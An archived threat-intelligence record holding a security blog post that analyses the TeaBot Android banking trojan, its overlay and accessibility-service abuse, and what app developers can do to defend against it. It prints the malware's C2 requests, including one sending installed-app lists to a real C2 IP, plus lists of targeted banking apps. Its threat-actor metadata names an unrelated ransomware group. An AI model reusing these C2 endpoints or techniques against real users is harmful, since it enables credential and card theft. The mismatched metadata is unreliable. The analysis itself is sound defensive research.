{
	"id": "3a433879-d175-4b00-b21d-0b5443b9e2af",
	"created_at": "2026-04-06T00:12:33.917094Z",
	"updated_at": "2026-04-10T03:30:33.423927Z",
	"deleted_at": null,
	"sha1_hash": "25edd04f502c9da469a1ae7964066e3641afbc21",
	"title": "New mobile malware family now also targets Belgian financial apps",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2606996,
	"plain_text": "New mobile malware family now also targets Belgian financial apps\r\nBy Jeroen Beckers\r\nPublished: 2021-05-11 · Archived: 2026-04-05 21:06:53 UTC\r\nWhile banking trojans have been around for a very long time now, we have never seen a mobile malware family attack the\r\napplications of Belgian financial institutions. Until today…\r\nEarlier this week, the Italy-based Cleafy published an article about a new android malware family which they dubbed\r\nTeaBot. The sample we will take a look at doesn’t use a lot of obfuscation and only has a limited set of features. What is\r\ninteresting though, is that TeaBot actually does attack the mobile applications of Belgian financial institutions.\r\nThis is quite surprising since Banking trojans typically use a phishing attack to acquire the credentials of unsuspecting\r\nvictims. Those credentials would be fairly useless against Belgian financial applications as they all have secure device\r\nenrollment and authentication flows which are resilient against a phishing attack.\r\nSo let’s take a closer look at how these banking trojans work, how they are actually trying to attack Belgian banking apps\r\nand what can be done to protect these apps.\r\nTL;DR\r\nTypical banking malware uses a combination of Android accessibility services and overlay windows to construct an\r\nelaborate phishing attack\r\nBelgian apps are being targeted with basic phishing attacks and keyloggers which should not result in an account\r\ntakeover\r\nAndroid Overlay Attacks\r\nThere have been numerous articles written on Android Overlay attacks, including a very recent one from F-Secure labs:\r\n“How are we doing with Android’s overlay attacks in 2020?” For those who have never heard of it before, let’s start with a\r\nsmall overview.\r\nDrawing on top of other apps through overlays (SYSTEM_ALERT_WINDOW)\r\nThe Android OS allows apps to draw on top of other apps after they have obtained the SYSTEM_ALERT_WINDOW permission.\r\nThere are valid use cases for this, with Facebook Messenger’s chat heads being the typical example. These chat bubbles stay\r\non top of any other application to allow the user to quickly access their conversations without having to go to the Messenger\r\napp.\r\nOverlays have two interesting properties: whether or not they are transparent, and whether or not they are interactive. If an\r\noverlay is transparent you will be able to see whatever is underneath the overlay (either another app or the home screen), and\r\nif an overlay is interactive it will register any screen touches, while the app underneath will not. Below you can see two\r\nexamples of this. On the left, there’s Facebook’s Messenger app, which has may interactive views, but also some transparent\r\nparts at the top, while on the right you see Twilight, which is a blue light filter that covers the entire screen in a semi-transparent way without any interactive elements in the overlay. The controls that you do see with Twilight is the actual\r\nTwilight app that’s opened underneath the red overlay.\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 1 of 22\n\nUntil very recently, if the app was installed through the Google Play store (instead of through sideloading or third party app\r\nstores), the application automatically received this permission, without even a confirmation dialog for the user! After much\r\nabuse by Banking malware that was installed through the Play store, Google has now added an additional manual\r\nverification step in the approval process for apps on the Google Play store. If the app wants to have the permission without\r\nrequesting it from the user, the app will need to request special permission from Google. But of course, an app can still\r\nmanually request this permission from the user, and Android’s information for this permission looks rather innocent: “This\r\nmay interfere with your use of other apps”.\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 2 of 22\n\nThe permission is fairly benign in the hands of the Facebook Messenger app or Twilight, but for mobile malware, the ability\r\nto draw on top of other apps is extremely interesting. There are a few ways in which you can use this to attack the user:\r\n1. Create a fake UI on top of a real app that tricks the user into touching specific locations on the screen. Those\r\nlocations will not be interactive, and will thus propagate the touch to the underlying application. As a result, the user\r\nperforms actions in the underlying app without realizing it. This is often called Tapjacking.\r\n2. Create interactive fields on top of key fields of the app in order to harvest information such as usernames and\r\npasswords. This would require the overlay to track what is being shown in the app, so that it can correctly align its\r\nown buttons text fields. All in all quite some work and not often used to attack the user.\r\n3. Instead of only overlaying specific buttons, the overlay covers the entire app and pretends to be the app. A fully\r\nfunctional app (usually a webview) is shown on top of the targeted app and asks the user for their credentials. This is\r\na full overlay attack.\r\nThese are just three possibilities, but there are many more. Researchers from Georgia Tech and the UC Santa Barbara have\r\ndocumented different attacks in their paper which also introduces the Cloak and Dagger attacks explained below.\r\nBefore we get into Cloak and Dagger, let’s take a look at a few other dangerous Android permissions first.\r\nAccessibility services\r\nApplications on Android can request the accessibility services permission, which allows them to simulate button presses or\r\ninteract with UI elements outside of their own application. These apps are very useful to people with disabilities who need a\r\nbit of extra help to navigate their smartphone. For example, the Google TalkBack application will read out any UI element\r\nthat is touched on the screen, and requires a double click to actually register as a button press. An alternative application is\r\nthe Voice Access app which tags every UI element with a number and allows you to select them by using voice commands.\r\nBoth of these applications can read UI elements and perform touches on the user’s behalf. Just like overlay windows, this\r\ncan be a very nice feature, or very dangerous if abused. Malware could use accessibility services to create a keylogger which\r\ncollects the input of a text field any time data is entered, or it could press buttons on your behalf to purchase premium\r\nfeatures or subscriptions, or even just click advertisements.\r\nSo let’s take a quick look at what kind of information becomes available by installing the Screen Logger app. The Screen\r\nLogger app is a legitimate application that uses accessibility features to monitor your actions. At the time of writing, the\r\napplication doesn’t even request INTERNET permission, so it shouldn’t be stealing your data in any way. However, it’s\r\nalways best to do these tests on a device without sensitive data which you can factory-reset. The application is very basic:\r\nInstall the accessibility service\r\nClick the record button\r\nPerform some actions and enter some text\r\nClick the stop recording button\r\nThe app will then show all the information it has collected. Below are some examples of the information it collected from a\r\ntest app:\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 3 of 22\n\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 4 of 22\n\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 5 of 22\n\nThe Screen logger application shows the data that was collected through an accessibility service\r\nWhen enabling accessibility services, users are actually warned about the dangers of enabling accessibility. This makes it a\r\nbit harder to trick the user into granting this permission. More difficult, but definitely not impossible. Applications actually\r\nhave a lot of control over the information that is shown to the user. Take for example the four screens below, which belong\r\nto a malware sample. All of the text indicated with red is under control of the attacker. The first screen shows a popup\r\nwindow asking the user to enable the Google service (which is, of course, the name of the malware’s service), and the next\r\nthree screens are what the user sees while enabling the accessibility permission.\r\nTricking users into installing an accessibility service\r\nEven if malware can’t convince the user to give the accessibility permission, there’s still a way to trick them using overlay\r\nwindows. This approach is exactly what Cloak and Dagger does.\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 6 of 22\n\nCloak and Dagger\r\nCloak and Dagger is best explained through their own video, where they show a combination of overlay attacks and\r\naccessibility to install an application that has all permissions enabled. In the video shown below, anything that is red is non-transparent and interactive, while everything that is green or transparent is non-interactive and will let touches go through to\r\nthe app underneath.\r\nAn error occurred.\r\nUnable to execute JavaScript.\r\nNow, over the past few years, Android has made efforts to hinder these kinds of attacks. For example, on newer versions of\r\nAndroid, it’s not possible to configure accessibility settings in case an overlay is active, or Android automatically disables\r\nany overlays when going into the Accessibility settings page. Unfortunately this only prevents a malware sample from\r\ngiving itself accessibility permissions through overlays; it still allows malware to use social engineering tactics to trick users\r\ninto installing them.\r\nRead SMS permission\r\nFinally, another interesting permission for malware is the RECEIVE_SMS permission, which allows an application to read\r\nreceived SMS messages. While this can definitely be used to invade the user’s privacy, the main reason for malware to\r\nacquire this permission is to intercept 2FA tokens which are unfortunately often still sent through SMS. Next to SIM-swapping attacks and attacks against the SS7 infrastructure, this is another way in which those tokens can be stolen.\r\nThis permission is pretty self-explanatory and a typical user will probably not grant the permission to a game that they just\r\ninstalled. However, by using phishing, overlays or accessibility attacks, malware can make sure the user accepts the\r\npermission.\r\nDoes this mean your device is fully compromised? Yes, and no.\r\nGiven the very intrusive nature of the attacks described above, it’s not a stretch to say that your device is fully compromised.\r\nIf malware can access what you see, monitor what you do and perform actions on your behalf, they’re basically using your\r\ndevice just like you would. However, the malware is still (ab)using legitimate functionality provided by the OS, and that\r\ndoes come with restrictions.\r\nFor example, even applications with full accessibility permissions aren’t able to access data that is stored inside the\r\napplication container of another app. This means that private information stored within an app is safe, unless you of course\r\naccess the data through the app and the accessibility service actively collects everything on the screen.\r\nBy combining accessibility and overlay windows, it is actually much easier to social engineer the victim and get their\r\ncredentials or card information. And this is exactly what Banking Trojans often do. Instead of attacking an application and\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 7 of 22\n\ntrying to steal their authentication tokens or modify their behavior, they simply ask the user for all the information that’s\r\nrequired to either authenticate to a financial website or enroll a new device with the user’s credentials.\r\nHow to protect your app\r\nProtecting against overlays\r\nProtecting your application against a full overlay is, well, impossible. Some research has already been performed on this and\r\none of the suggestions is to add a visual indicator on the device itself that can inform the user about an overlay attack\r\ntacking place. Another study took a look at detecting suspicious patterns during app-review to identify overlay malware.\r\nWhile the research is definitely interesting, it doesn’t really help you when developing an application.\r\nAnd even if you could detect an overlay on top of your application. What could your application do? There are a few\r\noptions, but none of them really work:\r\nClose the application \u003e Doesn’t matter, the attack just continues, since there’s a full overlay\r\nShow something to the user to warn them \u003e Difficult, since you’re not the top-level view\r\nInform the backend and block the account \u003e Possible, though many false negatives. Imagine customer accounts being\r\nblocked because they have Facebook messenger installed…\r\nWhat remains is trying to detect an attack and informing your backend. Instead of directly blocking an account, the\r\ninformation could be taken into account when performing risk analysis on a new sign-up or transaction. There are a few\r\nways to collect this information, but all of them can have many false positives:\r\nYou can detect if a screen has been obfuscated by listening for onFilterTouchEventForSecurity events. There are\r\nhowever various edge cases where it doesn’t work as expected and will lead to many false negatives and false\r\npositives.\r\nYou can scan for installed applications and check if a suspicious application is installed. This would require you to\r\nactively track mobile malware campaigns and update your blacklist accordingly. Given the fact that malware samples\r\noften have random package names, this will be very difficult. Additionally, starting with Android 11 (Q), it actually\r\nbecomes impossible to scan for applications which you don’t define in your Android Manifest.\r\nYou can use accessibility services yourself to monitor which views are created by the Android OS and trigger an error\r\nif specific scenarios occur. While this could technically work, it would give people the idea that financial applications\r\ndo actually require accessibility services, which would play into the hands of malware developers.\r\nThe only real feasible implementation is detection through the onFilterTouchEventForSecurity handler, and, given the\r\nmany false positives, it can only be used in conjunction with other information during a risk assessment.\r\nProtecting against accessibility attacks\r\nUnfortunately it’s not much better than the section. There are many different settings you can set on views, components and\r\ntext fields, but all of them are designed to help you improve the accessibility of your application. Removing all accessibility\r\ndata from your application could help a bit, but this will of course also stop legitimate accessibility software from analyzing\r\nyour application.\r\nBut let’s for a moment assume that we don’t care about legitimate accessibility. How can we make the app as secure as\r\npossible to prevent malware from logging our activities? Let’s see…\r\nWe could set the android:importantForAccessibility attribute of a view component to ‘no’ or ‘noHideDescendants’.\r\nThis won’t work however, since the accessibility service can just ignore this property and still read everything inside\r\nthe view component.\r\nWe could set all the android:contentDescription attributes to “@null”. This will effectively remove all the meta\r\ninformation from the application and will make it much more difficult to track a user. However, any text that’s on\r\nscreen can still be captured, so the label of a button will still give information about its purpose, even if there is no\r\ncontent description. For input text, the content of the text field will still be available to the malware.\r\nWe could change every input text to a password field. Password fields are masked and their content isn’t accessible in\r\nclear-text format. Depending on the user’s settings, this won’t work either (see next section).\r\nEnable FLAG_SECURE on the view. This will prevent screenshots of the view, but it doesn’t impact accessibility\r\nservices.\r\nAbout passwords\r\nBy default, Android shows the last entered character in a password field. This is useful for the user as they are able to see if\r\nthey mistyped something. However, whenever this preview is shown, the value is also accessible to the accessibility\r\nservices. As a result, we can still steal passwords, as shown in the second and third image below:\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 8 of 22\n\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 9 of 22\n\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 10 of 22\n\nLeft: A password being entered in ProxyDroid\r\nMiddle / Right: The entered password can be reconstructed based on the character previews\r\nIt is possible for users to disable this feature by going to Settings \u003e Privacy \u003e Show Passwords, but this setting cannot be\r\nmanipulated from inside an application.\r\nDetecting accessibility services\r\nIf we can’t protect our own application, can we maybe detect an attack? Here is where there’s finally some good news. It is\r\npossible to retrieve all the accessibility services running on the device, including their capabilities. This can be done through\r\nthe AccessibilityManager.getEnabledAccessibilityServiceList.\r\nThis information could be used to identify suspicious services running on the device. This would require building an dataset\r\nof known-good services to compare against. Given that Google is really hammering down on applications requiring\r\naccessibility services in the Google Play store, this could be a valid approach.\r\nThe obvious downside is that there will still be false positives. Additionally, there may be some privacy related issues as\r\nwell, since it might not be desirable to identify disabilities in users.\r\nCan’t Google fix this?\r\nFor a large part, dealing with these overlay attacks is Google’s responsibility, and over the last few versions, they have made\r\nmultiple changes to make it more difficult to use the SYSTEM_ALERT_WINDOW (SAW) overlay permission:\r\nAndroid Q (Go Edition) doesn’t support the SAW.\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 11 of 22\n\nSideloaded apps on Android P loose the SAW permission upon reboot.\r\nAndroid O has marked the SAW permission deprecated, though Android 11 has removed the deprecated status.\r\nPlay Store apps on Android Q loose the permission on reboot.\r\nAndroid O shows a notification for apps that are performing overlays, but also allows you to disable the notifications\r\nthrough settings (and thus through accessibility as well).\r\nAndroid Q introduced the Bubbles API, which deals with some of the use cases for SAW, but not all of them.\r\nAlmost all of these updates are mitigations and don’t fix the actual problem. Only the removal of SAW in Android Q (Go\r\nEdition) is a real way to stop overlay attacks, and it may hopefully one day make it into the standard Android version as\r\nwell.\r\nAndroid 12 Preview\r\nThe latest version of the Android 12 preview actually contains a new permission called ‘HIDE_OVERLAY_WINDOWS‘.\r\nAfter acquiring this permission, an app can call ‘setHideOverlayWindows()’ to disable overlays. This is another step in the\r\nright direction, but it’s still far from great. Instead of targeting the application when the user opens it, the malware could still\r\ncreate fake notifications that link directly to the overlay without the targeted application even being opened.\r\nIt’s clear that it’s not an easy problem to fix. Developers were given the option to use SAW since Android 1, and many apps\r\nrely on the permission to provide their core functionality. Removing it would affect many apps, and would thus get a lot of\r\nbacklash. Finally, any new update that Google makes will take many years to reach a high percentage of Android users, due\r\nto Android’s slow update process and unwillingness for mobile device manufacturers to provide major OS updates to users.\r\nNow that we understand the permissions involved, let’s go back to the TeaBot malware.\r\nTeaBot – Attacking Belgian apps\r\nWhat was surprising about Cleafy’s original report is the targeting of Belgian applications which so far had been spared of\r\nsimilar attacks. This is also a bit surprising since Belgian financial apps all make use of strong authentication (card readers,\r\nItsMe, etc) and are thus pretty hard to successfully phish. Let’s take a look at how exactly the TeaBot family attacks these\r\napplications.\r\nOnce the TeaBot malware is installed, it shows a small animation to the user how to enable accessibility options. It doesn’t\r\nprovide a specific explanation for the accessibility service, and it doesn’t pretend to be a Google or System service.\r\nHowever, if you wait too long to activate the accessibility service, the device will regularly start vibrating, which is\r\nextremely annoying and will surely convince many victims to enable the services.\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 12 of 22\n\nMain view when opening the app\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 13 of 22\n\nAutomatically opens the Accessibility Settings\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 14 of 22\n\nNo description of the service\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 15 of 22\n\nThe service requests full control\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 16 of 22\n\nIf you wait too long, you get annoying popups and vibration\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 17 of 22\n\nAfter enabling the service, the application quits and shows an error message\r\nThis specific sample pretends to be bpost, but TeaBot also pretends to be the VLC Media Player, the Spanish postal app\r\nCorreos, a video streaming app called Mobdro, and UPS as well.\r\nThe malware sample has the following functionality related to attacking financial applications:\r\nTake a screenshot;\r\nPerform overlay attacks on specific apps;\r\nEnable keyloggers for specific apps.\r\nJust like the FluBot sample from our last blogpost, the application collects all of the installed applications and then sends\r\nthem to the C2 which returns a list of the applications that should be attacked:\r\nPOST /api/getbotinjects HTTP/1.1\r\nAccept-Charset: UTF-8\r\nContent-Type: application/xml\r\nUser-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Nexus 5 Build/QQ3A.200805.001)\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 776\r\n{\"installed_apps\":[{\"package\":\"org.proxydroid\"},{\"package\":\"com.android.documentsui\"}, ...\u003csnip\u003e... ,{\"package\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 18 of 22\n\nHTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: application/json\r\nServer: Rocket\r\nContent-Length: 2\r\nDate: Mon, 10 May 2021 19:20:51 GMT\r\n[]\r\nIn order to identify the applications that are attacked, we can supply a list of banking applications which will return more\r\ninteresting data:\r\nHTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: application/json\r\nServer: Rocket\r\nContent-Length: 2031830\r\nDate: Mon, 10 May 2021 18:28:01 GMT\r\n[\r\n{\r\n\"application\":\"com.kutxabank.android\",\r\n\"html\":\"\u003c!DOCTYPE html\u003e\u003chtml lang=\\\"en\\\"\u003e\u003chead\u003e ...SNIP...\u003c/html\u003e\",\r\n\"inj_type\":\"bank\"\r\n},\r\n{\r\n\"application\":\"com.bbva.bbvacontigo\",\r\n\"html\":\"\u003c!DOCTYPE html\u003e\u003chtml lang=\\\"en\\\"\u003e\u003chead\u003e ...SNIP...\u003c/html\u003e\"\r\n}\r\n]\r\nBy brute-forcing against different C2 servers, overlays for the following apps were returned:\r\napp.wizink.es\r\nbe.belfius.directmobile.android\r\ncom.abanca.bancaempresas\r\ncom.abnamro.nl.mobile.payments\r\ncom.bancomer.mbanking\r\ncom.bankia.wallet\r\ncom.bankinter.launcher\r\ncom.bbva.bbvacontigo\r\ncom.bbva.netcash\r\ncom.cajasur.android\r\ncom.db.pwcc.dbmobile\r\ncom.facebook.katana\r\ncom.google.android.gm\r\ncom.grupocajamar.wefferent\r\ncom.ing.mobile\r\ncom.kutxabank.android\r\ncom.latuabancaperandroid\r\ncom.rsi\r\ncom.starfinanz.smob.android.sfinanzstatus\r\ncom.tecnocom.cajalaboral\r\ncom.unicredit\r\nde.comdirect.android\r\nde.commerzbanking.mobil\r\nes.bancosantander.apps\r\nes.cm.android\r\nes.ibercaja.ibercajaapp\r\nes.lacaixa.mobile.android.newwapicon\r\nes.liberbank.cajasturapp\r\nes.openbank.mobile\r\nes.univia.unicajamovil\r\nkeyloggers.json\r\nwww.ingdirect.nativeframe\r\nOnly one Belgian financial application ( be.belfius.directmobile.android ) returned an overlay. The interesting part is\r\nthat the overlay only phishes for credit card information and not for anything related to account onboarding:\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 19 of 22\n\nThe overlay requests the debit card number, but nothing else.\r\nThis overlay will be shown when TeaBot detects that the Belfius app has been opened. This way the user will expect a\r\nBelfius prompt to appear, which gives more credibility to the malicious view that was opened.\r\nThe original report by Cleafy specified at least 5 applications under attack, so we need to dig a bit deeper. Another endpoint\r\ncalled by the samples is /getkeyloggers. Fortunately, this one does simply return a list of targeted applications without us\r\nhaving to guess.\r\nGET /api/getkeyloggers HTTP/1.1\r\nAccept-Charset: UTF-8\r\nUser-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Nexus 5 Build/QQ3A.200805.001)\r\nHost: 185.215.113.31\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\nHTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: application/json\r\nServer: Rocket\r\nContent-Length: 1205\r\nDate: Tue, 11 May 2021 12:45:30 GMT\r\n[{\"application\":\"com.ing.banking\"},{\"application\":\"com.binance.dev\"},{\"application\":\"com.bankinter.launcher\"}\r\nScattered over multiple C2 servers, we could identify the following targeted applications:\r\napp.wizink.es\r\nbe.argenta.bankieren\r\nbe.axa.mobilebanking\r\nbe.belfius.directmobile.android\r\nbe.bmid.itsme\r\nbe.keytradebank.phone\r\nbvm.bvmapp\r\ncom.abnamro.nl.mobile.payments\r\ncom.bancomer.mbanking\r\ncom.bankaustria.android.olb\r\ncom.bankia.wallet\r\ncom.bankinter.launcher\r\ncom.bbva.bbvacontigo\r\ncom.bbva.netcash\r\ncom.beobank_prod.bad\r\ncom.binance.dev\r\ncom.bnpp.easybanking\r\ncom.bnpp.easybanking.fintro\r\ncom.bpb.mobilebanking.smartphone.prd\r\ncom.cajasur.android\r\ncom.coinbase.android\r\ncom.db.pbc.miabanca\r\ncom.db.pbc.mibanco\r\ncom.db.pbc.mybankbelgium\r\ncom.db.pwcc.dbmobile\r\ncom.grupocajamar.wefferent\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 20 of 22\n\ncom.ing.banking\r\ncom.ing.mobile\r\ncom.kbc.mobile.android.phone.kbc\r\ncom.kbc.mobile.android.phone.kbcbrussels\r\ncom.kutxabank.android\r\ncom.latuabancaperandroid\r\ncom.lynxspa.bancopopolare\r\ncom.mobileloft.alpha.droid\r\ncom.starfinanz.smob.android.bwmobilbanking\r\ncom.starfinanz.smob.android.sfinanzstatus\r\ncom.triodos.bankingnl\r\ncom.unicredit\r\nde.comdirect.android\r\nde.commerzbanking.mobil\r\nde.dkb.portalapp\r\nde.fiducia.smartphone.android.banking.vr\r\nde.ingdiba.bankingapp\r\nde.postbank.finanzassistent\r\nde.santander.presentation\r\nde.sdvrz.ihb.mobile.secureapp.sparda.produktion\r\nde.traktorpool\r\nes.bancosantander.apps\r\nes.cm.android\r\nes.evobanco.bancamovil\r\nes.ibercaja.ibercajaapp\r\nes.lacaixa.mobile.android.newwapicon\r\nes.liberbank.cajasturapp\r\nes.openbank.mobile\r\nes.univia.unicajamovil\r\neu.unicreditgroup.hvbapptan\r\nit.bnl.apps.banking\r\nit.gruppobper.ams.android.bper\r\nit.nogood.container\r\nit.popso.SCRIGNOapp\r\nnet.inverline.bancosabadell.officelocator.android\r\nnl.asnbank.asnbankieren\r\nnl.rabomobiel\r\nnl.regiobank.regiobankieren\r\npiuk.blockchain.android\r\nposteitaliane.posteapp.appbpol\r\nvivid.money\r\nwww.ingdirect.nativeframe\r\nBased on this list, 14 Belgian applications are being attacked through the keylogger module. Since all these applications\r\nhave a strong device onboarding and authentication flow, the impact of the collected information should be limited.\r\nHowever, if the applications don’t detect the active keylogger, the malware could still collect any information entered by the\r\nuser into the app. In this regard, the impact is the same as when someone installs a malicious keyboard that logs all the\r\nentered information.\r\nGoogle Play Protect will protect you\r\nThe TeaBot sample is currently not known to spread in the Google Play store. That means victims will need to install it by\r\ndownloading and installing the app manually. Most devices will have Google Play protect installed, which will\r\nautomatically block the currently identified TeaBot samples.\r\nOf course, this is a typical cat \u0026 mouse game between Google and malware developers, and who knows how many samples\r\nmay go undetected …\r\nConclusion\r\nIt’s very interesting to see how TeaBot attacks the Belgian financial applications. While they don’t attempt to social engineer\r\na user into a full device onboarding, the malware developers are finally identifying Belgium as an interesting target.\r\nIt will be very interesting to see how these attacks will evolve. Eventually all financial applications will have very strong\r\nauthentication and then malware developers will either have to be satisfied with only stealing credit-card information, or\r\nthey will have to invest into more advanced tactics with live challenge/responses and active social engineering.\r\nFrom a development point of view, there’s not much we can do. The Android OS provides the functionality that is abused\r\nand it’s difficult to take that functionality away again. Collecting as much information about the device as possible can help\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 21 of 22\n\nin making correct assessments on the risk of certain transactions, but there’s no silver bullet.\r\nJeroen Beckers\r\nJeroen Beckers is a mobile security expert working in the NVISO Software and Security assessment team. He is a SANS\r\ninstructor and SANS lead author of the SEC575 course. Jeroen is also a co-author of OWASP Mobile Security Testing Guide\r\n(MSTG) and the OWASP Mobile Application Security Verification Standard (MASVS). He loves to both program and\r\nreverse engineer stuff.\r\nSource: https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/\r\nPage 22 of 22\n\nhttps://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/  \nIf you wait too long, you get annoying popups and vibration\n Page 17 of 22",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"references": [
		"https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/"
	],
	"report_names": [
		"android-overlay-attacks-on-belgian-financial-applications"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434353,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/25edd04f502c9da469a1ae7964066e3641afbc21.pdf",
		"text": "https://archive.orkl.eu/25edd04f502c9da469a1ae7964066e3641afbc21.txt",
		"img": "https://archive.orkl.eu/25edd04f502c9da469a1ae7964066e3641afbc21.jpg"
	}
}